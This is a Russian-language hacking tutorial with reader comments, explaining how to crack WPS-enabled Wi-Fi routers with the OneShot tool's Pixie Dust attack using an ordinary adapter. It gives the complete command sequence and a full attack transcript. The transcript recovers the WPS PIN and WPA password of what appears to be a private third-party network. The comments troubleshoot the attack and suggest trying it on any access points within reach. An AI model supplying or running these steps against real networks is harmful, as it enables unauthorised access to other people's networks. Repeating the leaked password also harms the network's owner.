Как взломать Wi-Fi обычным адаптером без режима монитора
На HackWare.ru уже много материала про аудит безопасности Wi-Fi сетей. В этом комментарии Виктор порекомендовал программу OneShot. Её особенность в том, что она использует атаку Pixie Dust. Но таких программ, на самом деле, уже достаточно. Вторая особенность этой программы в том, что ей не нужен режим монитора. Это означает, что подойдёт любая Wi-Fi карта — даже такая, с которой у вас раньше не получалось выполнить атаки.
Хотя подойдёт любой Wi-Fi адаптер, лучше если у него внешняя антенна или же вам нужно находиться не слишком далеко от целевой точки доступа.
Программа OneShot очень проста в установке:
git clone https://github.com/drygdryg/OneShot cd OneShot/ sudo python3 oneshot.py -i wlan0
Это актуальный мод, ссылку на оригинальную версию (если она вам нужна) вы найдёте в карточке описания программы: https://kali.tools/?p=4887
Как найти Wi-Fi сети с поддержкой WPS
Для запуска программы в отношении Точки Доступа Wi-Fi необходимо знать её BSSID, то есть её MAC-адрес. BSSID точек доступа можно посмотреть, к примеру, программой Airodump-ng. Эта программа требует режима монитора. Но давайте исходить из того, что у нас обычный Wi-Fi адаптер, который не поддерживает режим монитора.
Выход из этой ситуации есть — BSSID распространяется в обычных фреймах (маячках) и операционная система всегда знает BSSID каждой Точки Доступа в округе (хотя обычно и не показывает эту информацию, поскольку большинству пользователей она не нужна).
Прежде чем приступить, начнём с того, что остановим NetworkManager, поскольку он постоянно будет мешаться нам:
sudo systemctl stop NetworkManager
Теперь нам нужно узнать имя беспроводного интерфейса. В Kali Linux это обычно wlan0. Если вы не знаете имя интерфейса в вашей системе, то выполните команду:
sudo iw dev
Будет выведено примерно следующее:
phy#0 Interface wlan0 ifindex 3 wdev 0x1 addr 7e:ef:a8:b2:43:60 type managed txpower 20.00 dBm
Строка, которая начинается на Interface, и содержит имя интерфейса.
Нужно активировать Wi-Fi адаптер командой вида:
sudo ip link set ИНТЕРФЕЙС up
Где вместо ИНТЕРФЕЙС нужно вставить имя вашего беспроводного интерфейса. Для wlan0 команда будет такой:
sudo ip link set wlan0 up
Чтобы операционная система просканировала Точки Доступа в пределах досягаемости и показала нам информацию по ним, запустите такую команду:
sudo iw dev ИНТЕРФЕЙС scan
Для wlan0:
sudo iw dev wlan0 scan
После сканирования, скорее всего, информации будет выведено ОЧЕНЬ много, пролистывайте и ищите те ТД для которых имеется поле WPS, например:
WPS: * Version: 1.0 * Wi-Fi Protected Setup State: 2 (Configured) * Response Type: 3 (AP) * UUID: 0be8e40b-92b5-23fc-a1ca-72fbf138036f * Manufacturer: TC7200 * Model: TC7200 * Model Number: 123456 * Serial Number: 0000001 * Primary Device Type: 6-0050f204-1 * Device name: TechnicolorAP * Config methods: Display * RF Bands: 0x1
Это хорошо, пролистываю чуть вверх, чтобы увидеть BSSID этой точки доступа:
BSS b0:c2:87:4b:e0:fd(on wlan0) TSF: 125911554303 usec (1d, 10:58:31) freq: 2412 beacon interval: 100 TUs capability: ESS Privacy ShortSlotTime RadioMeasure (0x1411) signal: -67.00 dBm last seen: 9352 ms ago Information elements from Probe Response frame: SSID: Mr.yongyut Daengluead 2G Supported rates: 1.0* 2.0* 5.5* 11.0* 18.0 24.0 36.0 54.0 DS Parameter set: channel 1 ERP: Barker_Preamble_Mode ERP D4.0: Barker_Preamble_Mode
В этом списке BSSID называется BSS и для данной Точки Доступа значение равно b0:c2:87:4b:e0:fd. Больше нам никакая информация не нужна, но отметим, что уровень сигнала хороший, а имя этой точки доступа Mr.yongyut Daengluead 2G:
signal: -67.00 dBm SSID: Mr.yongyut Daengluead 2G
Атака Pixie Dust
Теперь нужно запустить команду вида:
sudo python3 oneshot.py -i wlan0 -b BSSID -K
В этой команде BSSID нужно заменить на действительное значение для интересующей точки доступа. Например:
sudo python3 oneshot.py -i wlan0 -b b0:c2:87:4b:e0:fd -K
Полученный вывод:
[*] Running wpa_supplicant... [*] Trying PIN "12345670"... [*] Scanning... [*] Authenticating... [+] Authenticated [*] Associating with AP... [+] Associated with B0:C2:87:4B:E0:FD (ESSID: Mr.yongyut Daengluead 2G) [*] Sending EAPOL Start... [*] Received Identity Request [*] Sending Identity Response... [*] Received WPS Message M1 [P] E-Nonce: 460029BB72C930E71309524CB331A25D [*] Sending WPS Message M2... [P] PKR: 53E94D34306AA115199C7F1DDBA2CC7572F60D64A9EF6F6A6211416CDA2EB679C00BF9297D00895FFE412AD90BE5A33D902EF9200229E5A88C63892B3FC9366B110EF71853E5F93037036041A1DACFFC3CAB59ACB12A9D9EF8DB47F2F0F5C98C95830CBD7689C18B34B1A839C1C5975E99CDC507594D76C0F5CE1CEC85207478A16B50F05E4E5F20CB804B1E58D734939F736EF899AE4C9CFE818A72DCA72E19845737E3765B23C4A0F746F6876DECF3680EFAD08FEE156B152F56A572151A72 [P] PKE: CADFCC3F2D87D4EFBAF35A7541C50D966BAC20BD3FB204AC8883F8B77E8F557F2F2D2D796E13FC3DA98BDAEFC5C76CFDD90283E715988C7C61A0456632E436705C8978A1F210533A1FF70BEE8F1BF0026037C5922DC4E2A7E99AC4AFD679A627809DA03362BC674E0200E78E0F686F7C77B17A02C502F87FF697F35D8BCDA364B515CD3DB37B17F84BDA76C1E8C63C3DC23F7E306701AB201F85D701DFF1D3102D59A6BDF6A4153D6C40EC2690E1178639BE85314DC7C0EC39AA0885455D4D4C [P] AuthKey: DD5238440D336186241B11838D46970E9DA9E9715CF4221374875F09310F8EC6 [*] Received WPS Message M3 [P] E-Hash1: 2D7CD407438467EE2C14FD9F58A8E81CCD7AADA2D6913DF5B43F059B55C417ED [P] E-Hash2: 164CA34B538C84ED15C676B09D84CCE2347EF4944D2F51086CEA7F517707F423 [*] Sending WPS Message M4... [*] Received WPS Message M5 [*] Sending WPS Message M6... [*] Received WPS Message M7 [+] WPS PIN: '12345670' [+] WPA PSK: '0619560772' [+] AP SSID: 'Mr.yongyut Daengluead 2G'
Узнанный ПИН находится в строке WPS PIN, пароль от Wi-Fi в строке WPA PSK, а название точки доступа в строке AP SSID:
[+] WPS PIN: '12345670' [+] WPA PSK: '0619560772' [+] AP SSID: 'Mr.yongyut Daengluead 2G'
То есть эта ТД Wi-Fi не прошла аудит безопасности…
В случае неудачи на нашей стороне, будет выведено что-то вроде:
[-] WPS-FAIL error [!] No enough data to run Pixie Dust attack
Встроенное сканирование
После обновления OneShot получило встроенный сканер для поиска беспроводных сетей с поддержкой WPS. Теперь если запустить программу без опции —bssid,
./oneshot.py -i wlp0s20f0u1 -K
то она начнёт со сканирования для поиска Wi-Fi с WPS:
Будет выведен список сетей и вам достаточно указать номер целевой ТД для выполнения в отношении её атаки.
Красным помечены ТД у которых WPS заблокирован.
Зелёным помечены ТД с высокой вероятностью уязвимости к атаке Pixie Dust.
Не отмеченные ТД также могут быть уязвимы.
Получение пароля Wi-Fi сети когда известен WPS ПИН
Программу OneShot также можно использовать для получения PSK ключа (проще говоря, пароля от Wi-Fi) когда уже известен WPS PIN.
Для этого программу нужно запустить с опцией -p после которой нужно указать ПИН-код. Опцию -K указывать не нужно. Пример команды:
sudo ./oneshot.py -i wlp0s20f0u1 -b CC:4E:EC:4E:B3:18 -p 96101019
Ошибка «Unexpected interference — kill NetworkManager/wpa_supplicant!»
При атаке на некоторые Точки Доступа возникает ошибка:
[!] Unexpected interference — kill NetworkManager/wpa_supplicant!
Суть сообщения в том, что беспроводной интерфейс испытывает непредвиденное влияние, которое может быть связано, в первую очередь, с работой программ NetworkManager и wpa_supplicant. Поэтому в первую очередь попробуйте остановить эти программы:
sudo systemctl stop NetworkManager sudo airmon-ng check kill
Это необязательно исправит ошибку. По ощущениям, она возникает, когда что-то идёт «не по плану», например, не удаётся получить очередное M* сообщение из-за того, что целевая ТД слишком далеко и сигнал нестабильный. То есть причиной может быть не только NetworkManager/wpa_supplicant, но и плохой сигнал.
К примеру, я запускал команду несколько раз подряд и получал одно и то же сообщение про Unexpected interference:
Затем взял более чувствительный Wi-Fi адаптер и переместил его поближе к ТД — и всё прошло успешно:
Атаки на WPS довольно чувствительны к качеству сигнала. Следует попробовать использовать другие Wi-Fi адаптеры, большие или направленные антенны, либо подойти к целевой Точке Доступа поближе.
Заключение
Когда наиграетесь, то чтобы NetworkManager вновь заработал (и вернулось Интернет-подключение), выполните команду:
systemctl start NetworkManager
Итак, программа OneShot отлично себя показала — я получил положительный результат сразу, при первом запуске.
Нужно обратить внимание, что команда
iw dev wlan0 scan
является малочувствительной. То есть она покажет только Точки Доступа в уверенном зоне досягаемости. С одной стороны, это хорошо, так как вы не будете тратить время на Точки Доступа, которые хотя и видны, но из-за слабости сигнала с ними невозможно ничего сделать — только потеряете время с ними. Но с другой стороны, вы можете упустить что-то интересное. Поэтому, при желании, дополнительные ТД с включённым WPS можно собрать и с помощью Airodump-ng.
Такой же «фокус» (применять атаку Pixie Dust с адаптером без режима монитора) умеет программа Router Scan в Windows. Подробности смотрите в статье «Новые возможности Router Scan by Stas’M v2.60: беспроводной взлом Wi-Fi из Windows».
И, конечно, спасибо Виктору, что обратил внимание на такую интересную программу. Кстати, я только сейчас понял, что видимо этот тот же самый Victor, который автор мода.
Связанные статьи:
- WiFi-autopwner: скрипт для автоматического поиска и аудита Wi-Fi сетей с низкой безопасностью (83.6%)
- Автоматизированная атака Pixie Dust: получение ПИНов и паролей Wi-Fi без ввода команд (83.6%)
- Новые возможности Router Scan by Stas'M v2.60: беспроводной взлом Wi-Fi из Windows (83.6%)
- Практика атак на Wi-Fi (83.6%)
- Для каких атак подходят старые Wi-Fi адаптеры (81.1%)
- Фильтры Wireshark (RANDOM - 50%)
root@kali:~# systemctl stop NetworkManager
root@kali:~# iw dev wlan0 scan
command failed: Network is down (-100)
делаю все инструкции, и вот такое выдает
Приветствую! Видимо, вы подключили Wi-Fi адаптер уже после того, как остановили NetworkManager.
Дело в том, что при подключении Wi-Fi адаптера к Linux, он находится в состоянии Down. Программы, которые его используют, например, NetworkManager, переводят беспроводной интерфейс в состояние Up. Я остановил NetworkManager уже после подключения беспроводной карты, поэтому у меня такой проблемы не возникло.
Ошибку очень легко решить даже без NetworkManager, просто переведите беспроводной интерфейс в состояние Up следующей командой:
Сейчас добавлю в инструкцию эту команду.
да, все заработало, но возникла новая проблема
[*] Scanning…
[*] Authenticating…
[+] Authenticated
[*] Associating with AP…
[!] Unexpected interference — kill NetworkManager/wpa_supplicant!
и нет, я подключил адаптер, а потом отключал NetworkManager
Программа жалуется, что запущен NetworkManager или wpa_supplicant.
Следующие команды должны помочь:
все равно тоже самое выдает, много чего из ваших статей пробовал, но чет все одни и те же проблемы(
Думаете у меня не возникают трудности? )))) Иногда приходится править исходный код программ просто чтобы они загустились, и только потом уже выяснить, что на самом деле программа не работает… Самый последний пример такой программы WiFiBroot.
Это статьи по довольно специфичной тематике, и успех очень зависит от понимания Linux и умения решать проблемы, или хотя бы знать, в какую сторону нужно двигаться. Под проблемами я не имею в виду интерфейс в состоянии Down — это элементарно, азы; я про настоящие проблемы.
Например, после ошики «[!] Unexpected interference — kill NetworkManager/wpa_supplicant!», напишите сюда, что выведут команды:
1)NetworkManager.service — Network Manager
Loaded: loaded (/lib/systemd/system/NetworkManager.service; enabled; vendor p
Active: inactive (dead) since Sat 2019-08-31 10:20:57 EDT; 2min 12s ago
Docs: man:NetworkManager(8)
Process: 668 ExecStart=/usr/sbin/NetworkManager —no-daemon (code=exited, stat
Main PID: 668 (code=exited, status=0/SUCCESS)
Tasks: 0 (limit: 2347)
Memory: 8.6M
CGroup: /system.slice/NetworkManager.service
2)root 2508 2352 0 10:23 pts/0 00:00:00 grep -i supplicant
вообщем, я не знаю, с раза 5-го вроде заработал, попробовал на одном своем wifi, получилось, решил попробовать на втором своем wifi опять выдает эту ошибку
Scanning…
[*] Authenticating…
[+] Authenticated
[*] Associating with AP…
[!] Unexpected interference — kill NetworkManager/wpa_supplicant!
из моих 3-х wifi, все один поддается, и то 2 из них это мосты от роутера
Обновите OneShot и напишите, наблюдается ли проблема.
Спасибо за статью! OneShot обновлён, и теперь нет необходимости искать нужную сеть с помощью iw — достаточно запустить скрипт без аргумента -b (BSSID), и он найдёт доступные сети с включённым WPS и выведет их в виде таблицы, после чего предложит выбрать сеть из списка для начала атаки.
С новой версией стало очень удобно — спасибо! Сегодня подправлю инструкцию.
С ошибкой
я теперь тоже столкнулся, когда стал пробовать все ТД подряд.
По ощущениям, она возникает, когда что-то идёт «не по плану», например, не удаётся получить очередное M* сообщение из-за того, что целевая ТД слишком далеко и сигнал нестабильный. То есть причиной может быть не только NetworkManager/wpa_supplicant, но и плохой сигнал.
К примеру, я запускал команду несколько раз подряд и получал одно и то же сообщение про Unexpected interference:
Затем взял более чувствительный Wi-Fi адаптер и переместил его поближе к ТД — и всё прошло успешно:
Спасибо за то, что дали знать. Можете узнать и соообщить версию вашего wpa_supplicant командой wpa_supplicant -v и попробовать подключится к сети со слабым сигналом с аргументом-v (oneshot.py -i wlp0s20f0u1 -K -v) и отлогировать вывод (аргумент включает отладочный вывод wpa_supplicant)?
Как я понял вы в команде разработчиков? Возникли несколько вопросов по oneshot. Где их можно задать?
Вчера вы писали «С хакингом закончил. У меня нет больше вопросов» )))))
Ну а если по делу, то удалите папку OneShot и выполните следующие команды:
Сделайте СКРИНШОТ и прикрипите его к комментарию.
Пробил IP? Молодец. Удалось запустить OneShot. Помогла комманда:
sudo python3.8 oneshot.py -i wlp2s0 -K
То есть надо явно указывать версию питона. У меня две версии получилось. Старая и новая параллельно. По поводу работы OneShot напишу отдельный комментарий внизу.
Да, верно поняли. Связаться со мной можно через Telegram, указанный в моём профиле GitHub: https://github.com/drygdryg/
после ввода iw dev wlan0 scan
выскакивает ошибка operation not permitted
что делать в данном случае?
Если операция не разрешена (operation not permitted), значит не хватает прав на запуск данной команды. Значит надо запускать с sudo:
вот что пишет кали
Попробуйте так, видимо, моя описка:
В моём списке зеленых ТД не было. Когда пробую начать атаку пишет:
[*] Running wpa_supplicant…
[*] Trying PIN '12345670'…
[*] Scanning…
[*] Scanning…
[*] Scanning…
[*] Scanning…
[*] Scanning…
[*] Scanning…
И так постоянно. Оставил на ночь, утром тоже самое. Как я понял, если не получилась атака Pixie Dust, он начинает обычный брутфорс.
Нет, вы поняли неправильно. Чтобы начать брутфорс, нужно запустить OneShot без флага -K, с флагом -B.
Ваша проблема, очень вероятно, вызвана низким уровнем сигнала атакуемой точки.
Я в курсе и уже так пробовал.
Сигнал очень хороший. Просто скрип у меня работает некорректно.
И ещё один момент настораживает. Когда делал:
Установка в Debian/Ubuntu
Установка зависимостей:
1
sudo apt install -y python3.8 wpasupplicant wget pixiewps
Пишет мне:
Чтение списков пакетов… Готово
Построение дерева зависимостей
Чтение информации о состоянии… Готово
E: Невозможно найти пакет pixiewps
Хотя pixiewps точно есть и запускается.
Похоже, что у вас Ubuntu 16.04 или ниже. Pixiewps был добавлен в репозитории Ubuntu начиная с версии 18.04. Для более ранних версий Ubuntu следует собрать утилиту из исходников; как это сделать, описано здесь: https://github.com/drygdryg/OneShot#debianubuntu
Действительно Ubuntu 16.04. Но эту страницу уже давно изучил и делал как там написано не раз. И вот что выходит:
inflating: pixiewps-master/src/utils.h
inflating: pixiewps-master/src/version.h
inflating: pixiewps-master/src/wps.h
kostya@Comp:~$ cd pixiewps*/
kostya@Comp:~/pixiewps$ make
make: Цель «all» не требует выполнения команд.
kostya@Comp:~/pixiewps$ sudo make install
install -d /usr/local/bin
install -m 755 pixiewps /usr/local/bin
install -d /usr/local/share/man/man1
install -m 644 pixiewps.1 /usr/local/share/man/man1
kostya@Comp:~/pixiewps$
Насколько понимаю, что-то идет неправильно.
Заметил, что папка появляется под именем :"pixiewps-master". Попробовал сделать так:
cc -O3 -c -o src/pixiewrapper.o src/pixiewrapper.c
cc -O3 -o pixiewrapper src/pixiewrapper.o
kostya@Comp:~/pixiewps-master$ sudo make install
[sudo] пароль для kostya:
install -d /usr/local/bin
install -m 755 pixiewps /usr/local/bin
install -d /usr/local/share/man/man1
install -m 644 pixiewps.1 /usr/local/share/man/man1
kostya@Comp:~/pixiewps-master$
Советую вам всё сделать согласно инструкции из официального репзитория Pixiewps: https://github.com/wiire-a/pixiewps
Ну так и делал. Ставится и запускается.
kostya@Comp:~$ pixiewps
Pixiewps 1.4 WPS pixie-dust attack tool
Copyright (c) 2015-2017, wiire <wi7ire@gmail.com>
Usage: pixiewps <arguments>
Required arguments:
-e, —pke : Enrollee public key
-r, —pkr : Registrar public key
-s, —e-hash1 : Enrollee hash-1
-z, —e-hash2 : Enrollee hash-2
-a, —authkey : Authentication session key
-n, —e-nonce : Enrollee nonce
Проблема с установкой зависимостей:
kostya@Comp:~$ sudo apt install -y python3 wpasupplicant wget pixiewps
Чтение списков пакетов… Готово
Построение дерева зависимостей
Чтение информации о состоянии… Готово
E: Невозможно найти пакет pixiewps
Просто уберите из этого списка pixiewps — вроде очевидно же…
Но у меня такое ощущение, что у вас это ничего не изменит. Т.к. пакет pixiewps уже установлен. python3 тоже был установлен, иначе не запустилось бы. Как вам написал Виктор, скорее всего, ТД от вас слишком далеко. Не надо ждать больше чем 1-2 минуты. Пробуйте разные ТД.
Перед запуском программы крайне рекомендуется выполнить:
При запуске наблюдаю это:
TL-WR841N/… TL-WR841N/WR841ND 11.0
Select target ("r" for refresh): 5
[*] Running wpa_supplicant…
[*] Trying PIN '12345670'…
[*] Scanning…
[*] Scanning…
[*] Scanning…
[*] Scanning…
[*] Scanning…
[*] Scanning…
[*] Scanning…
И так постоянно… Это корректная работа скрипта?
Нет, не корректная. Scanning (сканирование) означает, что скрипт ищет ту самую цель, которую вы указали. Если сигнал хороший, то это сканирование должно происходить за доли секунды и должен наступать следующий этап. У вас же, по какой-то причине программа не видит цель.
Тем не менее если смогли выбрать цель, значит раньше система всё-таки видела ТД, в том числе и эту.
Думаем над возможными причинами, мне на ум приходит их две:
— выбранная ТД имеет слишком слабый сигнал, во время поиска целей от неё был увиден маячок, но для полноценной атаки сигнал слишком слабый
— какая-то другая программа переключила канал — по этой причине я и говорю остановить приложения, использующие сеть Wi-Fi.
Роутер через стену… какой ещё сигнал нужен? 🙂
Из статьи выше использовал комманды:
sudo systemctl stop NetworkManager
sudo airmon-ng check kill
Всё осталось так же.
Прочел выше про версию супликант, у меня такая: wpa_supplicant v2.4.
Нормально для данного случая?
Я не тестировал OneShot на Ubuntu 16.04 и ниже — OneShot тестировался на Ubuntu 18.04, Arch Linux, Manjaro Linux 19 и Alpine Linux stable.
Вероятно, проблема в wpa_supplicant версии 2.4 — OneShot тестировался на версии 2.7 и выше. Попробуйте обновить систему или в крайнем случае собрать свежий wpa_supplicant из исходников. Ориентировачная инструкция по сборке здесь: https://www.linuxtopic.com/2017/08/compile-wpasupplicant-ubuntu.html
Да. Видимо таки надо обновить систему. Тем более что глючить стала частенько. Примерно через неделю обновлю, когда нормальный интернет появится.
Вот примерно с такой скоростью всё происходит:
File "oneshot.py", line 414
self.wpas_ctrl_path = f"{self.tempdir}/{interface}"
Не могу запустить, выдает такую ошибку, подскажите ?
Эта ошибка возникает если запускать с помощью Python 2. Программа требует Python 3:
Для упрощения работы можно использовать Wifite. Его особенность в том, что Pixie Dust, да и другие штучки в нём автоматизированы. Нужно просто найти и выбрать сеть для атаки.